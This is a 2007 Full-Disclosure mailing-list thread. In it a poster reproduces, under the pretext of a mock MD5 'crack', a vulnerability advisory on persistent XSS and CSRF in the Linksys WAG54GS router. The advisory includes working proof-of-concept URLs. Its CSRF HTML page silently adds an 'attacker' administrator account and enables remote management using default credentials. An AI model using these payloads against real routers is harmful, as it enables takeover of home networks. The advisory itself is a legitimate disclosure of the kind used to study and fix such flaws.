After plugging this hash into John The Ripper, I was able to
reproduce the text of the original advisory. It follows in
entirety. For those wishing to verify the hash provided by the
architect, I have also included the advisory in attachment form as
a convenience for the skeptics who say MD5 can not be reversed.
J
___ BEGIN LAME CRACKED ADVISORY ___
Persistent XSS and CSRF and on Wireless-G ADSL Gateway with
SpeedBooster (WAG54GS)
== Date found ==
24 June 2007
== Firmware Version ==
V1.00.06
== Description ==
There are several persistent XSS vulnerabilities on the
'/setup.cgi' script.
It is possible to inject JavaScript by assigning a payload like the
following
to any of the vulnerable parameters:
<script>[PAYLOAD]</script>
The vulnerable (non-sanitized) parameters are the following:
'devname'
'snmp_getcomm'
'snmp_setcomm'
'c4_trap_ip_'
Additionally, all HTTP requests are not tokenized using non-
predictable values.
Thus, all requests to the router's HTTP interface are vulnerable to
Cross-site
Request Forgeries (CSRF), perhaps by design.
The following is an example of a HTTP request (notice the lack of
non-predictable tokens):
POST /setup.cgi HTTP/1.1
Authorization: Basic YWRtaW46YWRtaW4=
mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file
=Factorydefaults.htm&next_file=index.htm&message=
Although the original request is a POST, we can convert it to a
GET, so that all posted parameters can be submitted on a single URL.
For example, the previous POST request can be converted to a URL
such as the following:
http://admin:admin@192.168.1.1/setup.cgi?mtenRestore=Restore+Factor
y+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_f
ile=index.htm&message=
By forging administrative requests ("Administration" button on the
router's HTML menu), an attacker can compromise the router provided
the
victim user visits a malicious URL or HTML page.
The attack can only be successfuly if any of the following
conditions are met:
- the administrator hasn't changed the default credentials
(admin/admin)
- the administrator's browser has an active authentication session
with the router's interface when the attack happens
(highly unlikely)
== Persistent XSS PoC ==
The following URL creates a DoS condition by making the
"Administration" page inaccessible since 'history.back()'
will run everytime the Administration page is visited. Thus the
administrator won't be able to ever change the
default credentials unless a hard reset is performed on using the
router's physical "restart" switch:
http://admin:admin@192.168.1.1/setup.cgi?user_list=1&sysname=admin&;
sysPasswd=admin&sysConfirmPasswd=admin&remote_management=enable&http
_wanport=8080&devname=&snmp_enable=disable&upnp_enable=enable&wlan_e
nable=enable&save=Save+Settings&h_user_list=1&h_pwset=yes&pwchanged=
yes&h_remote_management=enable&c4_trap_ip_="><script>history.back()<
/script>&h_snmp_enable=enable&h_upnp_enable=enable&h_wlan_enable=ena
ble&todo=save&this_file=Administration.htm&next_file=Administration.
htm&message=
http://tinyurl.com/36sjzw
== CSRF PoC ==
The following HTML page does the following:
- adds an *additional* administrative account, with a username
equals to 'attacker' and a password equals to '0wned' (without
removing original admin account!)
- enables remote HTTP management over port 1337
- sets other settings that are inrelevant to this discussion
<html>
<body>
<script>
// send 2 requests to add an administrative account and enable
remote management
// tries with default credentials and with credentials cached
by
browser (if any)
var img = new Image();
var img2 = new Image();
img.src =
'http://admin:admin@192.168.1.1/setup.cgi?user_list=8&sysname=attack
er&sysPasswd=0wned&sysConfirmPasswd=0wned&remote_management=enable&h
ttp_wanport=1337&devname=&snmp_enable=disable&upnp_enable=enable&wla
n_enable=enable&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchang
ed=yes&h_remote_management=enable&c4_trap_ip_=&h_snmp_enable=disable
&h_upnp_enable=enable&h_wlan_enable=enable&todo=save&this_file=Admin
istration.htm&next_file=Administration.htm&message=';
img2.src =
'http://192.168.1.1/setup.cgi?user_list=8&sysname=attacker&sysPasswd
=0wned&sysConfirmPasswd=0wned&remote_management=enable&http_wanport=
1337&devname=&snmp_enable=disable&upnp_enable=enable&wlan_enable=ena
ble&save=Save+Settings&h_user_list=8&h_pwset=yes&pwchanged=yes&h_rem
ote_management=enable&c4_trap_ip_=&h_snmp_enable=disable&h_upnp_enab
le=enable&h_wlan_enable=enable&todo=save&this_file=Administration.ht
m&next_file=Administration.htm&message=';
</script>
</body>
</html>
The first URL forges the administrative request using the default
credentials, so it won't work if default credentials
have been changed.
The second URL doesn't specify any credentials as an attempt to use
the browser's cached credentials.
If the admin user has clicked on "Save password" on the basic
authentication prompt, most browsers will
prompt the user to confirm submitting the cached credentials. The
only situation in which browsers won't
ask the user to confirm submitting the credentials would be if the
malicious CSRF page was visited while
the browser has an active authenticated session with the router's
HTTP interface (very unlikely).
== Additional notes ==
- router reboots after saving settings (requests sent to
'setup.cgi')
- all attacks were tested using Internet Explorer 7
- No firmware updates were available at time of testing, only GPL
code is available:
http://www.linksys.com/servlet/Satellite?c=L_CASupport_C2&childpagen
ame=US%2FLayout&cid=1166859889040&pagename=Linksys%2FCommon%2FVisito
rWrapper&lid=8904040638B02&displaypage=download#versiondetail
== References ==
http://www.linksys.com/
== Credits ==
pagvac [ikwt.com] and Petko Petkov [gnucitizen.org]
___ END LAME CRACKED ADVISORY ___
On Wed, 27 Jun 2007 16:29:43 -0400 pagvac
<unknown.pentester@gmail.com> wrote:
The file "research.txt" will be provided once the vendor fixes the
issues. At that point anyone can check that the hash matches the
one
included in this post.
Thank you.
Joey Mengele wrote:
Please provide the original content of research.txt so I can
verify
that the hash is correct. I will also need the hash of your
md5sum.exe. Thanks.
J
On Wed, 27 Jun 2007 16:02:16 -0400 pagvac
<unknown.pentester@gmail.com> wrote:
The HTTP interface of a network appliance has been researched
and
found to be vulnerable to several persistent XSS and CSRF.
Such research was done by pdp (architect) and myself. We
informed
the
vendor and will publish the details when a fix is available.
The following is the MD5 hash for the advisory file.
$ md5sum.exe research.txt
3db1d71fc3a0eae119617b3b1124206f *research.txt
Regards,
--
pagvac
[http://gnucitizen.org, http://ikwt.com/]
--
Click here for to find products that will help grow your small
business.
http://tagline.hushmail.com/fc/Ioyw6h4eDJc9UN71zvlsGp4ZGBzvqUZDr59L
zooSm6N56gZuYA97Kt/
--
pagvac
[http://gnucitizen.org, http://ikwt.com/]
--
Click to compare & save $100's on medical insurance, free quote
http://tagline.hushmail.com/fc/Ioyw6h4d8QMxZblXdnEdW8UVP1Fn1j3U80z4JCO7SupmPFugPTsnqg/
collision-09fdb141.txt
Description: Text document
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
